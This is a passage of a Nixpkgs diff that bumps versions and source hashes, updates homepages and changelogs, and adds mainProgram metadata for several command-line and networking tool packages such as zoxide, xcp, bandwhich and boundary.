b/pkgs/tools/misc/wootility/default.nix @@ -8,11 +8,11 @@ appimageTools.wrapType2 rec { pname = "wootility"; - version = "4.5.0"; + version = "4.6.15"; src = fetchurl { url = "https://s3.eu-west-2.amazonaws.com/wooting-update/wootility-lekker-linux-latest/wootility-lekker-${version}.AppImage"; - sha256 = "sha256-5V1OpQZk234iKXOlpoXCbWPyixXkrWT8KkrGB92lPro="; + sha256 = "sha256-A/cjm9rhcgp68hbyjy7OfYPBKBcccl0OdD7MTdpEdPM="; }; profile = '' diff --git a/pkgs/tools/misc/xcp/default.nix b/pkgs/tools/misc/xcp/default.nix index b1c11c4465e99..bb310c3cce7ce 100644 --- a/pkgs/tools/misc/xcp/default.nix +++ b/pkgs/tools/misc/xcp/default.nix @@ -2,19 +2,19 @@ rustPlatform.buildRustPackage rec { pname = "xcp"; - version = "0.18.1"; + version = "0.20.4"; src = fetchFromGitHub { owner = "tarka"; repo = pname; rev = "v${version}"; - sha256 = "sha256-uZnKrWD3a3TpdKplLxzCKacfpuoo3vrCZmFsePIxR18="; + hash = "sha256-0ucm8XBxYwXvpVJN8If8BIToQGiBisKLZJYKuvaORto="; }; # no such file or directory errors doCheck = false; - cargoHash = "sha256-QaLNc05fI6V/5hbSfOL+uKnjkyxDclAmULx45z9gigs="; + cargoHash = "sha256-UdQUrIRos3TmebotdESvKH+90WVMJ0oTc43p+AT4xMI="; meta = with lib; { description = "An extended cp(1)"; diff --git a/pkgs/tools/misc/xq/default.nix b/pkgs/tools/misc/xq/default.nix index deddb3306440a..67d09807afc9e 100644 --- a/pkgs/tools/misc/xq/default.nix +++ b/pkgs/tools/misc/xq/default.nix @@ -5,14 +5,14 @@ rustPlatform.buildRustPackage rec { pname = "xq"; - version = "0.3.0"; + version = "0.4.0"; src = fetchCrate { inherit pname version; - sha256 = "sha256-mgvs3/gseLnFtAciW5txtYqo+8DyyQC7y/tN1kDqcb4="; + sha256 = "sha256-pQhzyXLurFnBn9DkkXA54NsAX8wE4rQvaHXZLkLDwdw="; }; - cargoHash = "sha256-lSyJqGWlk3ldgAkyebuyUDLp8mJdwnw8ee6ZHQXU2Y4="; + cargoHash = "sha256-gfCH/jnJTUiqwzxUYuZuFWh9Wq8hp43z2gRdaDQ908g="; meta = with lib; { description = "Pure rust implementation of jq"; diff --git a/pkgs/tools/misc/ytfzf/default.nix b/pkgs/tools/misc/ytfzf/default.nix index 905c7776f1c27..783ac793604fb 100644 --- a/pkgs/tools/misc/ytfzf/default.nix +++ b/pkgs/tools/misc/ytfzf/default.nix @@ -15,13 +15,13 @@ stdenv.mkDerivation rec { pname = "ytfzf"; - version = "2.6.1"; + version = "2.6.2"; src = fetchFromGitHub { owner = "pystardust"; repo = "ytfzf"; rev = "v${version}"; - hash = "sha256-wd7IgJRSh8UJ28slItIz1OhAg7cgVSDUldCyaObn6Ak="; + hash = "sha256-rwCVOdu9UfTArISt8ITQtLU4Gj2EZd07bcFKvxXQ7Bc="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/tools/misc/yubico-piv-tool/default.nix b/pkgs/tools/misc/yubico-piv-tool/default.nix index 002dbed4fcd68..2b8e50a7222e3 100644 --- a/pkgs/tools/misc/yubico-piv-tool/default.nix +++ b/pkgs/tools/misc/yubico-piv-tool/default.nix @@ -17,7 +17,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "yubico-piv-tool"; - version = "2.5.0"; + version = "2.5.1"; outputs = [ "out" "dev" "man" ]; @@ -25,7 +25,7 @@ stdenv.mkDerivation (finalAttrs: { owner = "Yubico"; repo = "yubico-piv-tool"; rev = "refs/tags/yubico-piv-tool-${finalAttrs.version}"; - hash = "sha256-KSM/p6PMzgpVtXIR9GjGiP/UqXhbc1xSQ71elbE4JQE="; + hash = "sha256-8W5c5JwEAhBAgoRC/pmQs3U3RekQMmkHAXVW36Y+J+U="; }; postPatch = '' diff --git a/pkgs/tools/misc/yutto/default.nix b/pkgs/tools/misc/yutto/default.nix index 5af50d54ad6fd..e6bf61f8beec3 100644 --- a/pkgs/tools/misc/yutto/default.nix +++ b/pkgs/tools/misc/yutto/default.nix @@ -9,14 +9,14 @@ with python3.pkgs; buildPythonApplication rec { pname = "yutto"; - version = "2.0.0b33"; + version = "2.0.0b35"; format = "pyproject"; disabled = pythonOlder "3.9"; src = fetchPypi { inherit pname version; - hash = "sha256-TUyjppAHmWCZxifeQeOpFMPBksqLRSYdqgG7NEMVILY="; + hash = "sha256-r4Lc5PMkhwLMC6nKArvpf9M4N+eoV6OmZK2uhY6xZxA="; }; nativeBuildInputs = [ @@ -24,12 +24,13 @@ buildPythonApplication rec { ]; propagatedBuildInputs = [ - aiohttp + httpx aiofiles biliass dict2xml colorama - ]; + typing-extensions + ] ++ (with httpx.optional-dependencies; http2 ++ socks); preFixup = '' makeWrapperArgs+=(--prefix PATH : ${lib.makeBinPath [ ffmpeg ]}) diff --git a/pkgs/tools/misc/z-lua/default.nix b/pkgs/tools/misc/z-lua/default.nix index 5210c6b2a4b26..dca8c865a8120 100644 --- a/pkgs/tools/misc/z-lua/default.nix +++ b/pkgs/tools/misc/z-lua/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "z-lua"; - version = "1.8.16"; + version = "1.8.17"; src = fetchFromGitHub { owner = "skywind3000"; repo = "z.lua"; rev = version; - sha256 = "sha256-VVJXBVENXlJXVj831Hx4sa7AzGHXpsui6tga9uA6ZnE="; + sha256 = "sha256-zhhrRTteKv6VvTbM7ao2Z3nWRN181nqLLcOA+qi88fc="; }; dontBuild = true; diff --git a/pkgs/tools/misc/zoxide/default.nix b/pkgs/tools/misc/zoxide/default.nix index 44863361a088e..091730f7c1e69 100644 --- a/pkgs/tools/misc/zoxide/default.nix +++ b/pkgs/tools/misc/zoxide/default.nix @@ -10,13 +10,13 @@ rustPlatform.buildRustPackage rec { pname = "zoxide"; - version = "unstable-2023-11-20"; + version = "0.9.4"; src = fetchFromGitHub { owner = "ajeetdsouza"; repo = "zoxide"; - rev = "3022cf3686b85288e6fbecb2bd23ad113fd83f3b"; - sha256 = "sha256-ut+/F7cQ5Xamb7T45a78i0mjqnNG9/73jPNaDLxzAx8="; + rev = "refs/tags/v${version}"; + hash = "sha256-Yp7uLoFEDkb0TztcDCeAkt+EHQRt56ncPqkBtd/zzzI="; }; nativeBuildInputs = [ installShellFiles ]; @@ -28,7 +28,7 @@ rustPlatform.buildRustPackage rec { --replace '"fzf"' '"${fzf}/bin/fzf"' ''; - cargoSha256 = "sha256-JRWlHwPFqNC/IIKQqRQszx4HHW1XsmROA67KmnxkmWQ="; + cargoHash = "sha256-t6GVoMBCD0s36GhtqJu9Z2bwwq5P+beEObG+gSC+QUw="; postInstall = '' installManPage man/man*/* @@ -41,7 +41,7 @@ rustPlatform.buildRustPackage rec { meta = with lib; { description = "A fast cd command that learns your habits"; homepage = "https://github.com/ajeetdsouza/zoxide"; - # changelog = "https://github.com/ajeetdsouza/zoxide/raw/v${version}/CHANGELOG.md"; + changelog = "https://github.com/ajeetdsouza/zoxide/blob/v${version}/CHANGELOG.md"; license = with licenses; [ mit ]; maintainers = with maintainers; [ ysndr cole-h SuperSandro2000 ]; mainProgram = "zoxide"; diff --git a/pkgs/tools/networking/aardvark-dns/default.nix b/pkgs/tools/networking/aardvark-dns/default.nix index df39d0a98e9e4..f8770612b2537 100644 --- a/pkgs/tools/networking/aardvark-dns/default.nix +++ b/pkgs/tools/networking/aardvark-dns/default.nix @@ -26,5 +26,6 @@ rustPlatform.buildRustPackage rec { license = licenses.asl20; maintainers = with maintainers; [ ] ++ teams.podman.members; platforms = platforms.linux; + mainProgram = "aardvark-dns"; }; } diff --git a/pkgs/tools/networking/acme-client/default.nix b/pkgs/tools/networking/acme-client/default.nix index 55f81b7f6b156..983a2b1a17786 100644 --- a/pkgs/tools/networking/acme-client/default.nix +++ b/pkgs/tools/networking/acme-client/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation rec { pname = "acme-client"; - version = "1.3.2"; + version = "1.3.3"; src = fetchurl { url = "https://data.wolfsden.cz/sources/acme-client-${version}.tar.gz"; - hash = "sha256-nVB0VIT6mwKwSTY+wDcuxMtpEjtZ9Z0ke0lJ7SzdsJ0="; + hash = "sha256-HJOk2vlDD7ADrLdf/eLEp+teu9XN0KrghEe6y4FIDoI="; }; nativeBuildInputs = [ @@ -30,10 +30,11 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Secure ACME/Let's Encrypt client"; - homepage = "https://sr.ht/~graywolf/acme-client-portable/"; + homepage = "https://git.wolfsden.cz/acme-client-portable"; platforms = platforms.unix; license = licenses.isc; maintainers = with maintainers; [ pmahoney ]; + mainProgram = "acme-client"; }; } diff --git a/pkgs/tools/networking/ahcpd/default.nix b/pkgs/tools/networking/ahcpd/default.nix index 83647d17ae3cb..f6f483602c1f3 100644 --- a/pkgs/tools/networking/ahcpd/default.nix +++ b/pkgs/tools/networking/ahcpd/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation rec { description = "Autoconfiguration protocol for IPv6 and dual-stack IPv6/IPv4 networks"; license = lib.licenses.mit; platforms = lib.platforms.linux; + mainProgram = "ahcpd"; }; } diff --git a/pkgs/tools/networking/ain/default.nix b/pkgs/tools/networking/ain/default.nix index cd8d518c06053..755777f3939c1 100644 --- a/pkgs/tools/networking/ain/default.nix +++ b/pkgs/tools/networking/ain/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "ain"; - version = "1.3.0"; + version = "1.4.0"; src = fetchFromGitHub { owner = "jonaslu"; repo = "ain"; rev = "v${version}"; - hash = "sha256-QBtnVtTGONbYToGhZ0L4CZ3o2hViEN1l94ZKJHVMd1w="; + hash = "sha256-LjGiRLTQxJ83fFBYH7RzQjDG8ZzHT/y1I7nXTb4peAo="; }; vendorHash = "sha256-eyB+0D0+4hHG4yKDj/m9QB+8YTyv+por8fTyu/WcZyg="; @@ -28,5 +28,6 @@ buildGoModule rec { changelog = "https://github.com/jonaslu/ain/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "ain"; }; } diff --git a/pkgs/tools/networking/ali/default.nix b/pkgs/tools/networking/ali/default.nix index 53403b6367854..3b6fef73595cc 100644 --- a/pkgs/tools/networking/ali/default.nix +++ b/pkgs/tools/networking/ali/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { license = licenses.mit; platforms = platforms.linux ++ platforms.darwin; maintainers = with maintainers; [ farcaller ]; + mainProgram = "ali"; }; } diff --git a/pkgs/tools/networking/altermime/default.nix b/pkgs/tools/networking/altermime/default.nix index 290b37889977c..812da5f8742ef 100644 --- a/pkgs/tools/networking/altermime/default.nix +++ b/pkgs/tools/networking/altermime/default.nix @@ -28,5 +28,6 @@ gccStdenv.mkDerivation rec { platforms = platforms.all; license.fullName = "alterMIME LICENSE"; downloadPage = "https://pldaniels.com/altermime/"; + mainProgram = "altermime"; }; } diff --git a/pkgs/tools/networking/amass/default.nix b/pkgs/tools/networking/amass/default.nix index d65a38637fe93..cbd6513905055 100644 --- a/pkgs/tools/networking/amass/default.nix +++ b/pkgs/tools/networking/amass/default.nix @@ -47,5 +47,6 @@ buildGoModule rec { changelog = "https://github.com/OWASP/Amass/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ kalbasit fab ]; + mainProgram = "amass"; }; } diff --git a/pkgs/tools/networking/anevicon/default.nix b/pkgs/tools/networking/anevicon/default.nix index cff22fa71e6ed..346c79dd6f31b 100644 --- a/pkgs/tools/networking/anevicon/default.nix +++ b/pkgs/tools/networking/anevicon/default.nix @@ -39,5 +39,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/rozgo/anevicon"; license = licenses.gpl3Only; maintainers = with maintainers; [ fab ]; + mainProgram = "anevicon"; }; } diff --git a/pkgs/tools/networking/arping/default.nix b/pkgs/tools/networking/arping/default.nix index 672ccc2bcdb10..3a08ec85083aa 100644 --- a/pkgs/tools/networking/arping/default.nix +++ b/pkgs/tools/networking/arping/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = with licenses; [ gpl2Plus ]; maintainers = with maintainers; [ michalrus ]; platforms = platforms.unix; + mainProgram = "arping"; }; } diff --git a/pkgs/tools/networking/arpoison/default.nix b/pkgs/tools/networking/arpoison/default.nix index 64b3229fad6ba..912636a0e72ad 100644 --- a/pkgs/tools/networking/arpoison/default.nix +++ b/pkgs/tools/networking/arpoison/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = with licenses; [ gpl2 ]; maintainers = [ maintainers.michalrus ]; platforms = platforms.unix; + mainProgram = "arpoison"; }; } diff --git a/pkgs/tools/networking/atinout/default.nix b/pkgs/tools/networking/atinout/default.nix index 7ff1b06c3b803..64d13a7b14eaf 100644 --- a/pkgs/tools/networking/atinout/default.nix +++ b/pkgs/tools/networking/atinout/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { platforms = platforms.unix; license = licenses.gpl3; maintainers = with maintainers; [ bendlas ]; + mainProgram = "atinout"; }; } diff --git a/pkgs/tools/networking/axel/default.nix b/pkgs/tools/networking/axel/default.nix index e018f9789e388..0a5a11bd8eb71 100644 --- a/pkgs/tools/networking/axel/default.nix +++ b/pkgs/tools/networking/axel/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ pSub ]; platforms = with platforms; unix; license = licenses.gpl2; + mainProgram = "axel"; }; } diff --git a/pkgs/tools/networking/babeld/default.nix b/pkgs/tools/networking/babeld/default.nix index 64f6cc4eca44a..4fd86e16f446d 100644 --- a/pkgs/tools/networking/babeld/default.nix +++ b/pkgs/tools/networking/babeld/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ hexa ]; platforms = platforms.linux; + mainProgram = "babeld"; }; } diff --git a/pkgs/tools/networking/bacnet-stack/default.nix b/pkgs/tools/networking/bacnet-stack/default.nix index d5f126c19bbb5..528dd81417610 100644 --- a/pkgs/tools/networking/bacnet-stack/default.nix +++ b/pkgs/tools/networking/bacnet-stack/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "bacnet-stack"; - version = "1.3.2"; + version = "1.3.3"; src = fetchFromGitHub { owner = "bacnet-stack"; repo = "bacnet-stack"; rev = "bacnet-stack-${version}"; - sha256 = "sha256-hgUntojq10gYoY/inO46MzwK6o2q8ELKTaJbAbCx8Vc="; + sha256 = "sha256-fFQIyZYHHNyszUO8jySIB9Y/Amzj/TTdxaex76ovBmw="; }; hardeningDisable = [ "all" ]; diff --git a/pkgs/tools/networking/bandwhich/default.nix b/pkgs/tools/networking/bandwhich/default.nix index 240fa3e86f8a9..43da60ffb89d7 100644 --- a/pkgs/tools/networking/bandwhich/default.nix +++ b/pkgs/tools/networking/bandwhich/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, rustPlatform, Security }: +{ lib, stdenv, fetchFromGitHub, rustPlatform, Security, installShellFiles }: rustPlatform.buildRustPackage rec { pname = "bandwhich"; @@ -23,11 +23,25 @@ rustPlatform.buildRustPackage rec { "--skip=tests::cases::ui::layout_under_50_width_under_50_height" ]; + nativeBuildInputs = [ installShellFiles ]; + buildInputs = lib.optional stdenv.isDarwin Security; # 10 passed; 47 failed https://hydra.nixos.org/build/148943783/nixlog/1 doCheck = !stdenv.isDarwin; + preConfigure = '' + export BANDWHICH_GEN_DIR=_shell-files + mkdir -p $BANDWHICH_GEN_DIR + ''; + + postInstall = '' + installManPage $BANDWHICH_GEN_DIR/bandwhich.1 + + installShellCompletion $BANDWHICH_GEN_DIR/bandwhich.{bash,fish} \ + --zsh $BANDWHICH_GEN_DIR/_bandwhich + ''; + meta = with lib; { description = "A CLI utility for displaying current network utilization"; longDescription = '' @@ -38,8 +52,10 @@ rustPlatform.buildRustPackage rec { the background using reverse DNS on a best effort basis. ''; homepage = "https://github.com/imsnif/bandwhich"; + changelog = "https://github.com/imsnif/bandwhich/blob/${src.rev}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ Br1ght0ne figsoda ]; platforms = platforms.unix; + mainProgram = "bandwhich"; }; } diff --git a/pkgs/tools/networking/bgpdump/default.nix b/pkgs/tools/networking/bgpdump/default.nix index 5e98228da2e56..4ca75a53c254b 100644 --- a/pkgs/tools/networking/bgpdump/default.nix +++ b/pkgs/tools/networking/bgpdump/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = lib.licenses.hpnd; maintainers = with lib.maintainers; [ lewo ]; platforms = with lib.platforms; linux; + mainProgram = "bgpdump"; }; } diff --git a/pkgs/tools/networking/bgpq3/default.nix b/pkgs/tools/networking/bgpq3/default.nix index 1fe2f83f8a184..7d92aa4ee995a 100644 --- a/pkgs/tools/networking/bgpq3/default.nix +++ b/pkgs/tools/networking/bgpq3/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { license = licenses.bsd2; maintainers = with maintainers; [ b4dm4n ]; platforms = with platforms; unix; + mainProgram = "bgpq3"; }; } diff --git a/pkgs/tools/networking/bgpq4/default.nix b/pkgs/tools/networking/bgpq4/default.nix index f15b79a761f07..22e17a205c207 100644 --- a/pkgs/tools/networking/bgpq4/default.nix +++ b/pkgs/tools/networking/bgpq4/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = licenses.bsd2; maintainers = with maintainers; [ vincentbernat ]; platforms = with platforms; unix; + mainProgram = "bgpq4"; }; } diff --git a/pkgs/tools/networking/biosdevname/default.nix b/pkgs/tools/networking/biosdevname/default.nix index 0f7702acdcc88..fe9ccb3dd20a9 100644 --- a/pkgs/tools/networking/biosdevname/default.nix +++ b/pkgs/tools/networking/biosdevname/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = ["x86_64-linux" "i686-linux"]; maintainers = with maintainers; [ ]; + mainProgram = "biosdevname"; }; } diff --git a/pkgs/tools/networking/bombardier/default.nix b/pkgs/tools/networking/bombardier/default.nix index 56f179b22ca7a..89f20860836c9 100644 --- a/pkgs/tools/networking/bombardier/default.nix +++ b/pkgs/tools/networking/bombardier/default.nix @@ -42,5 +42,6 @@ buildGoModule rec { changelog = "https://github.com/codesenberg/bombardier/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "bombardier"; }; } diff --git a/pkgs/tools/networking/bore/default.nix b/pkgs/tools/networking/bore/default.nix index c3ae784668906..abbbcc414751f 100644 --- a/pkgs/tools/networking/bore/default.nix +++ b/pkgs/tools/networking/bore/default.nix @@ -45,5 +45,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://crates.io/crates/bore"; license = licenses.isc; maintainers = [ maintainers.delan ]; + mainProgram = "bore"; }; } diff --git a/pkgs/tools/networking/boringtun/default.nix b/pkgs/tools/networking/boringtun/default.nix index 8d3f17268bc10..b1defdcfb1c3f 100644 --- a/pkgs/tools/networking/boringtun/default.nix +++ b/pkgs/tools/networking/boringtun/default.nix @@ -24,5 +24,6 @@ rustPlatform.buildRustPackage rec { license = licenses.bsd3; maintainers = with maintainers; [ xrelkd marsam ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "boringtun-cli"; }; } diff --git a/pkgs/tools/networking/boundary/default.nix b/pkgs/tools/networking/boundary/default.nix index 4d8a30f2df07b..4480bdbede1f2 100644 --- a/pkgs/tools/networking/boundary/default.nix +++ b/pkgs/tools/networking/boundary/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "boundary"; - version = "0.15.0"; + version = "0.15.1"; src = let @@ -15,10 +15,10 @@ stdenv.mkDerivation rec { aarch64-darwin = "darwin_arm64"; }; sha256 = selectSystem { - x86_64-linux = "sha256-9swvTXPlGXXkHPWzjg54rpH8bsscJ393S2OKRImZGzs="; - aarch64-linux = "sha256-dCmJmL+6l+QxWgZLCbj3ymzarwvJTqkyseQj9dO7DcM="; - x86_64-darwin = "sha256-vZudiEt+Bi0GuW/jVgIniNq2obAkL/mH0EoUS2cwj0U="; - aarch64-darwin = "sha256-dL9SfzN/DZZggpX3x67rIhOJupkOWxcFGdQDMPffecY="; + x86_64-linux = "sha256-LPIvbT934HjetzaljMMVaZslavAY2torE684MLOTvLo="; + aarch64-linux = "sha256-RH8BHo97nTfMSWLfVY6r7qWqMBXcZRCIY5u/9lzrog4="; + x86_64-darwin = "sha256-6jEVffu4bTKzlnT364q5oD8+T6nXyqKZhBVLXv0Pbac="; + aarch64-darwin = "sha256-m+rGK7VbCZNDsumrFI3HNa/CG1eEzKDQTNTbb2ECn7c="; }; in fetchzip { @@ -66,5 +66,6 @@ stdenv.mkDerivation rec { license = licenses.bsl11; maintainers = with maintainers; [ jk techknowlogick ]; platforms = platforms.unix; + mainProgram = "boundary"; }; } diff --git a/pkgs/tools/networking/brook/default.nix b/pkgs/tools/networking/brook/default.nix index bdc16874779b8..77a70381b1d99 100644 --- a/pkgs/tools/networking/brook/default.nix +++ b/pkgs/tools/networking/brook/default.nix @@ -2,21 +2,22 @@ buildGoModule rec { pname = "brook"; - version = "20240214"; + version = "20240404"; src = fetchFromGitHub { owner = "txthinking"; repo = pname; rev = "v${version}"; - sha256 = "sha256-5+AqlmDa11PrB24XkelOFHK4sBi4j78WMLQrzDuP1/M="; + sha256 = "sha256-QqA0LnbC72bnAQ25AehTnoXgdqQPc8wztHcFd4Q19ko="; }; - vendorHash = "sha256-cTw9k4AqS4NOJ0vX0InR0xxOfCXIgA3FxgL6oXryOnA="; + vendorHash = "sha256-1aaOPeKHPrZO6WK08EhX4+dME0A33raQnbZi/aNFpIw="; meta = with lib; { homepage = "https://github.com/txthinking/brook"; description = "A cross-platform Proxy/VPN software"; license = with licenses; [ gpl3Only ]; maintainers = with maintainers; [ xrelkd ]; + mainProgram = "brook"; }; } diff --git a/pkgs/tools/networking/bukubrow/default.nix b/pkgs/tools/networking/bukubrow/default.nix index 84d2467e6ad8e..8cd005a120aa6 100644 --- a/pkgs/tools/networking/bukubrow/default.nix +++ b/pkgs/tools/networking/bukubrow/default.nix @@ -43,6 +43,7 @@ in rustPlatform.buildRustPackage rec { homepage = "https://github.com/SamHH/bukubrow-host"; license = licenses.gpl3; maintainers = with maintainers; [ infinisil ]; + mainProgram = "bukubrow"; }; } diff --git a/pkgs/tools/networking/bully/default.nix b/pkgs/tools/networking/bully/default.nix index 55ff196154e36..3b2f62281ef19 100644 --- a/pkgs/tools/networking/bully/default.nix +++ b/pkgs/tools/networking/bully/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ edwtjo ]; platforms = platforms.linux; + mainProgram = "bully"; }; } diff --git a/pkgs/tools/networking/burpsuite/default.nix b/pkgs/tools/networking/burpsuite/default.nix index 416d2877e2015..02d0a4ab77c16 100644 --- a/pkgs/tools/networking/burpsuite/default.nix +++ b/pkgs/tools/networking/burpsuite/default.nix @@ -84,5 +84,6 @@ buildFHSEnv { platforms = jdk.meta.platforms; hydraPlatforms = [ ]; maintainers = with maintainers; [ arcayr bennofs ]; + mainProgram = "burpsuite"; }; } diff --git a/pkgs/tools/networking/cadaver/default.nix b/pkgs/tools/networking/cadaver/default.nix index d94c89371b1b8..e164e5bf433ae 100644 --- a/pkgs/tools/networking/cadaver/default.nix +++ b/pkgs/tools/networking/cadaver/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ ianwookim ]; license = licenses.gpl2Plus; platforms = with platforms; linux ++ freebsd ++ openbsd; + mainProgram = "cadaver"; }; } diff --git a/pkgs/tools/networking/cassowary/default.nix b/pkgs/tools/networking/cassowary/default.nix index e14c8e212717f..2fa92e073076d 100644 --- a/pkgs/tools/networking/cassowary/default.nix +++ b/pkgs/tools/networking/cassowary/default.nix @@ -20,5 +20,6 @@ buildGoModule rec { description = "Modern cross-platform HTTP load-testing tool written in Go"; license = licenses.mit; maintainers = with maintainers; [ hugoreeves ]; + mainProgram = "cassowary"; }; } diff --git a/pkgs/tools/networking/castnow/default.nix b/pkgs/tools/networking/castnow/default.nix index 43a15a2c1c108..50bea652eef68 100644 --- a/pkgs/tools/networking/castnow/default.nix +++ b/pkgs/tools/networking/castnow/default.nix @@ -23,5 +23,6 @@ buildNpmPackage rec { homepage = "commandline chromecast player"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ ]; + mainProgram = "castnow"; }; } diff --git a/pkgs/tools/networking/cdpr/default.nix b/pkgs/tools/networking/cdpr/default.nix index 1f9e7b1888d1b..5e86d58cfb311 100644 --- a/pkgs/tools/networking/cdpr/default.nix +++ b/pkgs/tools/networking/cdpr/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = [ maintainers.sgo ]; + mainProgram = "cdpr"; }; } diff --git a/pkgs/tools/networking/cfspeedtest/default.nix b/pkgs/tools/networking/cfspeedtest/default.nix index 27889841a2e77..fcde1b5803784 100644 --- a/pkgs/tools/networking/cfspeedtest/default.nix +++ b/pkgs/tools/networking/cfspeedtest/default.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "cfspeedtest"; - version = "1.2.1"; + version = "1.2.2"; src = fetchFromGitHub { owner = "code-inflation"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-sGBEVmiVa9jWlirtmP+lhXNVN2X9Pv/oS9KhiuaOMl8="; + hash = "sha256-0BX9nEhSyYY/fDJHZOw0URLPIXZGRGZyXB1Tm8GX1/A="; }; - cargoHash = "sha256-/Ajlo6nr36GF5jyyuKdQe5HajETMsuEWbXxaszrcj0Y="; + cargoHash = "sha256-GNoYLps6OaA3Ubb0nG6hQfe6r52lhnIb19n1PLCsbXs="; meta = with lib; { description = "Unofficial CLI for speed.cloudflare.com"; @@ -23,5 +23,6 @@ rustPlatform.buildRustPackage rec { license = with licenses; [ mit ]; broken = stdenv.isDarwin; maintainers = with maintainers; [ colemickens ]; + mainProgram = "cfspeedtest"; }; } diff --git a/pkgs/tools/networking/chaos/default.nix b/pkgs/tools/networking/chaos/default.nix index 0cadddb9f4049..3e66ddac7b6c9 100644 --- a/pkgs/tools/networking/chaos/default.nix +++ b/pkgs/tools/networking/chaos/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { changelog = "https://github.com/projectdiscovery/chaos-client/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; + mainProgram = "chaos"; }; } diff --git a/pkgs/tools/networking/checkip/default.nix b/pkgs/tools/networking/checkip/default.nix index d66616cfd7a54..180c08702901e 100644 --- a/pkgs/tools/networking/checkip/default.nix +++ b/pkgs/tools/networking/checkip/default.nix @@ -30,5 +30,6 @@ buildGoModule rec { changelog = "https://github.com/jreisinger/checkip/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ fab ]; + mainProgram = "checkip"; }; } diff --git a/pkgs/tools/networking/cksfv/default.nix b/pkgs/tools/networking/cksfv/default.nix index f9d9224e91b13..2d5a2b533a615 100644 --- a/pkgs/tools/networking/cksfv/default.nix +++ b/pkgs/tools/networking/cksfv/default.nix @@ -15,5 +15,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ ]; platforms = platforms.all; license = licenses.gpl2; + mainProgram = "cksfv"; }; } diff --git a/pkgs/tools/networking/cnping/default.nix b/pkgs/tools/networking/cnping/default.nix index 0a7aed4fcb5db..ec3a0e03c2881 100644 --- a/pkgs/tools/networking/cnping/default.nix +++ b/pkgs/tools/networking/cnping/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = with licenses; [ mit bsd3 ]; # dual licensed, MIT-x11 & BSD-3-Clause maintainers = with maintainers; [ ckie ]; platforms = platforms.linux; + mainProgram = "cnping"; }; } diff --git a/pkgs/tools/networking/cntlm/default.nix b/pkgs/tools/networking/cntlm/default.nix index 238b936331973..45fc56f3ba2d0 100644 --- a/pkgs/tools/networking/cntlm/default.nix +++ b/pkgs/tools/networking/cntlm/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { maintainers.carlosdagos ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "cntlm"; }; } diff --git a/pkgs/tools/networking/cocom/default.nix b/pkgs/tools/networking/cocom/default.nix index f4a896af7d1e2..6ae004de9b3e8 100644 --- a/pkgs/tools/networking/cocom/default.nix +++ b/pkgs/tools/networking/cocom/default.nix @@ -28,5 +28,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/LamdaLamdaLamda/cocom"; license = licenses.gpl3Only; maintainers = with maintainers; [ fab ]; + mainProgram = "cocom"; }; } diff --git a/pkgs/tools/networking/connect/default.nix b/pkgs/tools/networking/connect/default.nix index 8b8c0018c66ff..408bbbf66708c 100644 --- a/pkgs/tools/networking/connect/default.nix +++ b/pkgs/tools/networking/connect/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; platforms = lib.platforms.gnu ++ lib.platforms.linux ++ lib.platforms.darwin; maintainers = with lib.maintainers; [ jcumming ]; + mainProgram = "connect"; }; } diff --git a/pkgs/tools/networking/containerlab/default.nix b/pkgs/tools/networking/containerlab/default.nix index 43b938ac4a133..a2fb4d8b59d48 100644 --- a/pkgs/tools/networking/containerlab/default.nix +++ b/pkgs/tools/networking/containerlab/default.nix @@ -42,5 +42,6 @@ buildGoModule rec { license = licenses.bsd3; platforms = platforms.linux; maintainers = with maintainers; [ aaronjheng ]; + mainProgram = "containerlab"; }; } diff --git a/pkgs/tools/networking/corerad/default.nix b/pkgs/tools/networking/corerad/default.nix index 8535b2e310838..1a3340fcdb14d 100644 --- 